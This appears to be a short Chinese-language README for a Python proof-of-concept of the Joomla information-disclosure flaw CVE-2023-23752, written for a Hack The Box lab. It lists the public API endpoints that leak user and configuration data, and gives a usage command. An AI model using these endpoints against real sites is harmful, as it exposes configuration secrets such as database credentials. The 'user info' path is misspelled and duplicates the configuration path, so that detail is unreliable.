CVE-2023-23752 - Joomla信息泄露漏洞

我在HTB机器上需要使用这个漏洞，但网上唯一的PoC是用Ruby写的…

我不想折腾Ruby的依赖环境，所以就"快速"用Python重写了一个。

这个脚本本质上只是对开放API端点返回的JSON数据的解析器，你也可以直接使用CURL或浏览器访问以下端点来复现该漏洞：

用户信息

/api/index.php/v1/config/applicaton?public=true

配置信息

/api/index.php/v1/config/application?public=true"

使用方法

python3 CVE-2023-23752.py -t

许可证

GPL v3.0 - 所有优秀软件都应该使用的许可证

记住 - 不要当脚本小子 :)